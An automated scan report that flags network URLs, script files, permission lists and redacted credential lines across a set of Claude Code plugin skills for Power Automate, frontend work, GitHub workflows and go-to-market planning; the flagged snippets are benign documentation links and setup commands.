"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 210
{ "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 211
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/trigger-types.md
- Network accessline 140
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 141
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 142
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 146
"body": { "notificationUrl": "@listCallbackUrl()" }, "queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 147
"queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 148
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 170
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 171
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 172
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 176
"body": { "notificationUrl": "@listCallbackUrl()" }, "queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 177
"queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 178
"dataset": "https://mytenant.sharepoint.com/sites/mysite",
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-debug/SKILL.md
- Network accessline 26
- A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app - Network accessline 27
- Use `https://mcp.flowstudio.app/mcp`, `MCP_URL`, `MCP_TOKEN`, and a valid `YOUR_JWT_TOKEN`; never commit the token. - Access to secretsline 77
[Credential-related source omitted] - Network accessline 139
- [FlowStudio MCP subscription](https://mcp.flowstudio.app) - Network accessline 140
- [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp) - Network accessline 141
- [Expression error in child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md) - Network accessline 142
- [Data entry, not a flow bug](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md) - Network accessline 143
- [Null value crashes child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md)
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-governance/SKILL.md
- Network accessline 8
audit security, or write governance metadata to FlowStudio. metadata: source: "https://mcp.flowstudio.app." - Network accessline 9
metadata: source: "https://mcp.flowstudio.app." --- - Network accessline 10
source: "https://mcp.flowstudio.app." - Network accessline 29
- Requires FlowStudio for Teams or MCP Pro+ because `store_*` tools require a paid cached-store subscription. If the first `store_*` call returns 403 or 404, stop store calls, tell the user governance features require Pro+ access, and point - Network accessline 140
- [ ] Existing `tags` are read before appended tags are written. - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported wit - Network accessline 141
- [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - [ ] The report distinguish - Network accessline 142
- [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - Network accessline 147
- [FlowStudio MCP](https://mcp.flowstudio.app.) - Network accessline 148
- [FlowStudio pricing](https://mcp.flowstudio.app/pricing)
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-mcp/SKILL.md
- Network accessline 27
- Requires a FlowStudio MCP subscription or compatible Power Automate MCP server: https://mcp.flowstudio.app. - Network accessline 28
- MCP endpoint: `https://mcp.flowstudio.app/mcp`. - Network accessline 88
Use Python with `urllib.request` when you want a dependency-free helper. Use Node.js 18+ when the repository is JavaScript or TypeScript and native `fetch`, `JSON.stringify`, and `JSON.parse` fit the stack. Avoid PowerShell for flow operati - Network accessline 95
[Credential-related source omitted] - Network accessline 96
MCP = "https://mcp.flowstudio.app/mcp" - Network accessline 99
payload = {"jsonrpc": "2.0", "method": "tools/call", "id": cid, "params": {"name": tool, "arguments": args}} req = urllib.request.Request(MCP, data=json.dumps(payload).encode(), - Network accessline 100
[Credential-related source omitted] - Network accessline 101
req = urllib.request.Request(MCP, data=json.dumps(payload).encode(), - Network accessline 103
"User-Agent": "FlowStudio-MCP/1.0"}) try: resp = urllib.request.urlopen(req, timeout=120) - Network accessline 104
try: resp = urllib.request.urlopen(req, timeout=120) except urllib.error.HTTPError as e: - Network accessline 105
resp = urllib.request.urlopen(req, timeout=120) - Network accessline 119
[Credential-related source omitted] - Network accessline 120
const MCP = "https://mcp.flowstudio.app/mcp"; - Network accessline 127
params: { name: tool, arguments: args }, }; const res = await fetch(MCP, { - Network accessline 128
}; const res = await fetch(MCP, { method: "POST", - Network accessline 129
const res = await fetch(MCP, { - Network accessline 164
| Symptom | Likely cause | Resolution | | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | - Network accessline 165
| --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | | HTTP `400` | Malformed JSON-RPC payload. | Check `Cont - Network accessline 166
| HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | - Network accessline 229
**Status:** connected | needs auth | blocked **Endpoint:** `https://mcp.flowstudio.app/mcp` - Network accessline 230
**Endpoint:** `https://mcp.flowstudio.app/mcp` - Network accessline 249
- [ ] The MCP endpoint is `https://mcp.flowstudio.app/mcp`. - Network accessline 258
- FlowStudio MCP: https://mcp.flowstudio.app - Network accessline 259
- FlowStudio MCP endpoint: https://mcp.flowstudio.app/mcp - Network accessline 260
- FlowStudio MCP subscription page: https://mcp.flowstudio.app. - Network accessline 261
- Expression error in child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md - Network accessline 262
- Data entry, not a flow bug: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md - Network accessline 263
- Null value crashes child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-mcp/references/MCP-BOOTSTRAP.md
- Network accessline 6
Endpoint: https://mcp.flowstudio.app/mcp
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-monitoring/SKILL.md
- Network accessline 31
> 1. STOP calling store tools > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing - Network accessline 32
> 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing > 4. If their question can be answered with live tools (e.g. "list flows in - Network accessline 33
> 3. Link them to https://mcp.flowstudio.app/pricing - Network accessline 64
**Enabling monitoring:** Set `monitor: true` via `update_store_flow` or the Flow Studio for Teams app ([how to select flows](https://learn.flowstudio.app/teams-monitoring)). - Network accessline 66
([how to select flows](https://learn.flowstudio.app/teams-monitoring)). - Network accessline 129
"state": "Started", "triggerType": "Request", "triggerUrl": "https://{example-url}", - Network accessline 130
"triggerType": "Request", "triggerUrl": "https://{example-url}", "tags": ["#operations", "#sensitive"], - Network accessline 131
"triggerUrl": "https://{example-url}", - Network accessline 405
- [ ] `name` is `flowstudio-power-automate-monitoring` and matches the parent directory. - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing . - Network accessline 406
- [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing . - Network accessline 415
- [FlowStudio pricing](https://mcp.flowstudio.app/pricing) - Network accessline 416
- [Flow Studio Teams monitoring](https://learn.flowstudio.app/teams-monitoring)
harness/claude-code/plugins/frontend-experience/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "keywords": [ - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/frontend-experience/skills/anti-ui-slop/SKILL.md
- Network accessline 4
Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing U - Network accessline 5
repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before choosing a layout, or when the user wants a - Network accessline 6
skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before - Network accessline 27
- Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available. - Network accessline 48
Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette. - Network accessline 154
- [UIZZE public catalogue](https://uizze.com)
harness/claude-code/plugins/frontend-experience/skills/frontend-accessibility/references/wcag-2.2-aa.md
- Network accessline 3
Use the normative [WCAG 2.2 Recommendation](https://www.w3.org/TR/WCAG22/) for exact criteria and conformance language. Use the [WAI-ARIA Authoring Practices Guide](https://www.w3.org/WAI/ARIA/apg/) as non-normative design-pattern and keybo
harness/claude-code/plugins/frontend-experience/skills/frontend-discoverability-assets/references/icon-matrix.md
- Network accessline 15
Use `sizes="any"` only for scalable resources, as defined by the HTML link-type rules: https://html.spec.whatwg.org/multipage/links.html
harness/claude-code/plugins/frontend-experience/skills/frontend-discoverability-assets/references/social-metadata.md
- Network accessline 16
Source: https://ogp.me/
harness/claude-code/plugins/frontend-experience/skills/frontend-discoverability-assets/references/technical-seo.md
- Network accessline 23
- https://developers.google.com/search/docs/fundamentals/seo-starter-guide - Network accessline 24
- https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data - Network accessline 25
- https://developers.google.com/search/docs/crawling-indexing/robots/intro - Network accessline 26
- https://developers.google.com/search/docs/crawling-indexing/sitemaps/overview
harness/claude-code/plugins/frontend-experience/skills/frontend-project-setup/scripts/install_companions.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/frontend-experience/skills/frontend-project-setup/tests/test_install_companions.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/frontend-experience/skills/frontend-release-quality-gate/scripts/check_traceability.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/frontend-experience/skills/frontend-release-quality-gate/tests/test_check_traceability.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/frontend-experience/skills/premium-frontend-ui/SKILL.md
- Network accessline 8
metadata: author: Utkarsh Patrikar author_url: "https://github.com/utkarsh232005" - Network accessline 9
author: Utkarsh Patrikar author_url: "https://github.com/utkarsh232005" --- - Network accessline 10
author_url: "https://github.com/utkarsh232005" - Network accessline 129
- [Author profile](https://github.com/utkarsh232005)
harness/claude-code/plugins/frontend-experience/skills/web-design-reviewer/SKILL.md
- Network accessline 35
1. **Target website must be running** - Local development server (e.g., `http://localhost:3000`) - Network accessline 36
- Local development server (e.g., `http://localhost:3000`) - Network accessline 68
> Please provide the URL of the website to review (e.g., `http://localhost:3000`) - Network accessline 304
[Playwright MCP](https://github.com/microsoft/playwright-mcp) is recommended as the reference implementation for this skill. - Network accessline 396
**Status:** complete | needs fixes | blocked **Target URL:** `<http://localhost:3000 or remote URL>` - Network accessline 397
**Target URL:** `<http://localhost:3000 or remote URL>` - Network accessline 412
- [ ] `name` is `web-design-reviewer` and matches the parent directory. - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running. - Network accessline 413
- [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running. - Network accessline 423
- [Playwright MCP](https://github.com/microsoft/playwright-mcp)
harness/claude-code/plugins/frontend-experience/skills/web-design-reviewer/references/framework-fixes.md
harness/claude-code/plugins/frontend-web-dev/.claude-plugin/plugin.json
harness/claude-code/plugins/gem-team/.claude-plugin/plugin.json
- Network accessline 6
"email": "mubaidr@gmail.com", "name": "mubaidr", "url": "https://github.com/mubaidr" - Network accessline 7
"name": "mubaidr", "url": "https://github.com/mubaidr" }, - Network accessline 8
"url": "https://github.com/mubaidr" - Network accessline 9
}, "homepage": "https://github.com/mubaidr/gem-team", "repository": "https://github.com/mubaidr/gem-team", - Network accessline 10
"homepage": "https://github.com/mubaidr/gem-team", - Network accessline 11
"repository": "https://github.com/mubaidr/gem-team",
harness/claude-code/plugins/gesture-review/.claude-plugin/plugin.json
harness/claude-code/plugins/git-github-workflow/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/git-github-workflow/skills/commit-message-storyteller/SKILL.md
- Network accessline 33
Use https://www.conventionalcommits.org/ as the specification source. Read `references/conventional-commits-guide.md` when examples or scope guidance are needed.
harness/claude-code/plugins/git-github-workflow/skills/commit-message-storyteller/references/conventional-commits-guide.md
- Network accessline 3
Full spec: https://www.conventionalcommits.org/en/v1.0.0/
harness/claude-code/plugins/git-github-workflow/skills/conventional-branch/SKILL.md
harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/SKILL.md
- Network accessline 76
| Issue | Resolution | | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surf - Network accessline 77
| --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message - Network accessline 78
| `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message and stop. | - Network accessline 135
- [GitHub CLI](https://cli.github.com)
harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/01-request-review.ps1
harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/02-check-review-status.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/03-list-open-threads.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/08-reply-and-resolve.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/09-review-round.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/10-cleanup-outdated.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/_lib.ps1
- Executable scriptline 1
Executable file - Network accessline 47
- winget install --id GitHub.cli (Windows) - brew install gh (macOS) - sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 48
- brew install gh (macOS) - sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - https://cli.github.com/ (universal installer + download) - Dangerous shell operationline 49
- sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 49
- sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 50
- https://cli.github.com/ (universal installer + download)
harness/claude-code/plugins/git-github-workflow/skills/dependabot/SKILL.md
- Network accessline 351
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 352
[Credential-related source omitted] - Network accessline 353
url: https://npm.example.com - Network accessline 389
> Scan the dependencies I added on this branch for known vulnerabilities and tell me which versions to upgrade to before I commit. Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announ - Network accessline 390
Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanni - Network accessline 391
> Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) (May 2026) - Network accessline 434
- [ ] Bundled references are cited only for deeper detail and every cited file exists. ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-githu - Network accessline 435
## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - [Example private registry endpoint](https://npm.e - Network accessline 436
- [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - Network accessline 437
- [Example private registry endpoint](https://npm.example.com)
harness/claude-code/plugins/git-github-workflow/skills/dependabot/references/dependabot-yml-reference.md
- Network accessline 339
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 340
[Credential-related source omitted] - Network accessline 341
url: https://npm.example.com - Network accessline 344
maven-central: type: maven-repository url: https://repo.maven.apache.org/maven2 - Network accessline 345
type: maven-repository url: https://repo.maven.apache.org/maven2 username: "" - Network accessline 346
url: https://repo.maven.apache.org/maven2 - Network accessline 350
docker-ghcr: type: docker-registry url: https://ghcr.io - Network accessline 351
type: docker-registry url: https://ghcr.io username: ${{secrets.GHCR_USER}} - Network accessline 352
url: https://ghcr.io - Network accessline 356
python-private: type: python-index url: https://pypi.example.com/simple - Network accessline 357
[Credential-related source omitted] - Network accessline 358
url: https://pypi.example.com/simple
harness/claude-code/plugins/git-github-workflow/skills/dependabot/references/example-configs.md
- Network accessline 168
npm-private: type: npm-registry url: https://npm.internal.example.com - Network accessline 169
[Credential-related source omitted] - Network accessline 170
url: https://npm.internal.example.com - Network accessline 173
docker-ghcr: type: docker-registry url: https://ghcr.io - Network accessline 174
type: docker-registry url: https://ghcr.io username: ${{secrets.GHCR_USER}} - Network accessline 175
url: https://ghcr.io - Network accessline 252
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 253
[Credential-related source omitted] - Network accessline 254
url: https://npm.example.com
harness/claude-code/plugins/git-github-workflow/skills/gh-attach/SKILL.md
harness/claude-code/plugins/git-github-workflow/skills/git-commit/SKILL.md
- Broad permissionsline 1
Bash
harness/claude-code/plugins/git-github-workflow/skills/github-issues/references/images.md
- Network accessline 42
 - Access to secretsline 45
[Credential-related source omitted] - Network accessline 68
1. Open the issue/comment in a browser 2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL - Network accessline 69
2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL 4. These URLs work for anyone, even without repo access, and render in email notifications - Network accessline 70
3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL - Access to secretsline 73
[Credential-related source omitted]
harness/claude-code/plugins/git-github-workflow/skills/github-release/SKILL.md
- Network accessline 83
7. Update or create `CHANGELOG.md` in Keep a Changelog format using today's `YYYY-MM-DD` date, show the proposed section to the user, then write it. Add or update the comparison link: `https://github.com/OWNER/REPO/compare/vPREV...vNEXT`. - Network accessline 234
- [Keep a Changelog](https://keepachangelog.com/en/1.1.0/) - Network accessline 235
- [GitHub compare URL pattern](https://github.com/OWNER/REPO/compare/vPREV...vNEXT)
harness/claude-code/plugins/git-github-workflow/skills/github-release/references/commit-classification.md
harness/claude-code/plugins/git-github-workflow/skills/github-release/references/semver-rules.md
- Network accessline 3
Reference: https://semver.org/
harness/claude-code/plugins/git-github-workflow/skills/gitmoji/SKILL.md
- Network accessline 2
name: gitmoji description: >- Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing - Network accessline 3
description: >- Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change - Network accessline 4
Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing - Network accessline 16
Generate a copyable commit message in the https://gitmoji.dev/ convention: infer the dominant change intent, select exactly one gitmoji, match unicode versus shortcode style, and write an imperative subject plus optional body. - Network accessline 98
- Do not run `git commit` or any other mutating git command. - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead. - Network accessline 99
- If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead. - Network accessline 147
- [gitmoji](https://gitmoji.dev) - Network accessline 148
- [gitmoji with trailing slash](https://gitmoji.dev/) - Network accessline 149
- [Conventional Commits](https://www.conventionalcommits.org/)
harness/claude-code/plugins/git-github-workflow/skills/gitmoji/references/gitmoji-reference.md
- Network accessline 3
The complete official gitmoji list from [gitmoji.dev](https://gitmoji.dev/), in the order shown on the site. Each entry maps an emoji (and its `:shortcode:`) to the intent of the change it represents. - Network accessline 83
> Source: [gitmojis.json](https://github.com/carloscuesta/gitmoji/blob/master/packages/gitmojis/src/gitmojis.json) — 75 gitmojis.
harness/claude-code/plugins/git-github-workflow/skills/issue-fields-migration/SKILL.md
- Network accessline 130
- [Issue fields public preview changelog](https://github.blog/changelog/2026-03-12-issue-fields-structured-issue-metadata-is-in-public-preview/)
harness/claude-code/plugins/git-github-workflow/skills/make-repo-contribution/SKILL.md
- Broad permissionsline 1
Read, Edit, Bash(git:*), Bash(gh issue:*), Bash(gh pr:*)
harness/claude-code/plugins/git-github-workflow/skills/pr-dashboard/scripts/lib/utils.mjs
- Executable scriptline 1
Executable file
harness/claude-code/plugins/git-github-workflow/skills/pr-dashboard/scripts/pr-dashboard-cli.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 219
return `<tr> <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td> - Network accessline 220
<td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>
harness/claude-code/plugins/github-actions-maintenance/.claude-plugin/plugin.json
- Network accessline 6
"name": "Copilot Primitives Maintainers" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/go-mcp-development/.claude-plugin/plugin.json
harness/claude-code/plugins/go-to-market/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/go-to-market/skills/ad-campaign-analyzer/SKILL.md
- Network accessline 12
Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys. source: "https://github.com/gooseworks-ai/goose-skill - Network accessline 13
screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys. source: "https://github.com/gooseworks-ai/goose-skills" version: "'1.0'" - Network accessline 14
source: "https://github.com/gooseworks-ai/goose-skills" - Network accessline 222
- [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)
harness/claude-code/plugins/go-to-market/skills/competitor-ad-intelligence/SKILL.md
- Network accessline 13
Cross-platform. Uses web search and public ad libraries only; no API keys or credentials required. source: "https://github.com/gooseworks-ai/goose-skills" - Network accessline 14
required. source: "https://github.com/gooseworks-ai/goose-skills" version: 1.0 - Network accessline 15
source: "https://github.com/gooseworks-ai/goose-skills" - Network accessline 66
| Source | Direct URL or query | Collect | | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing p - Network accessline 67
| --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B va - Network accessline 68
| Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B variations | - Network accessline 69
| Meta search | `web_search: site:facebook.com/ads/library "[competitor_name]"`; `web_search: "[competitor_name]" Meta Ad Library active ads`; `web_search: "[competitor_name]" facebook ads examples` | Publicly indexed ad examples and librar - Network accessline 70
| Google Ads Transparency Center | `https://adstransparency.google.com/?search_text=<competitor_name>` | Headline variants, description lines, ad type, landing page URL, geographic targeting if visible | | Google search | `web_search: site: - Network accessline 289
- [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills) - Network accessline 290
- [Meta Ad Library search pattern](https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>) - Network accessline 291
- [Google Ads Transparency Center search pattern](https://adstransparency.google.com/?search_text=<competitor_name>)
harness/claude-code/plugins/go-to-market/skills/gtm-0-to-1-launch/SKILL.md
- Network accessline 9
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 11
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 12
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 175
- [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 176
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/claude-code/plugins/go-to-market/skills/gtm-ai-gtm/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 156
- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 157
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/claude-code/plugins/go-to-market/skills/gtm-board-and-investor-communication/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Dangerous shell operationline 386
Exec (weekly) → Leadership (bi-weekly) → All-hands (monthly) → Team (ongoing) - Network accessline 432
- [ ] Follow-up owners and dates are explicit. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 433
## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm) - Network accessline 434
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 435
- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/claude-code/plugins/go-to-market/skills/gtm-developer-ecosystem/SKILL.md
- Network accessline 7
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 9
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 356
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 357
- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/claude-code/plugins/go-to-market/skills/gtm-enterprise-account-planning/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 246
- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 247
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/claude-code/plugins/go-to-market/skills/gtm-enterprise-onboarding/SKILL.md
- Network accessline 7
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 9
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 440
- [ ] Red flags such as Week 4 ghosting, Week 5 pilot non-use, and Week 8-12 adoption decline have escalation actions. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 441
## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm) - Network accessline 442
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 443
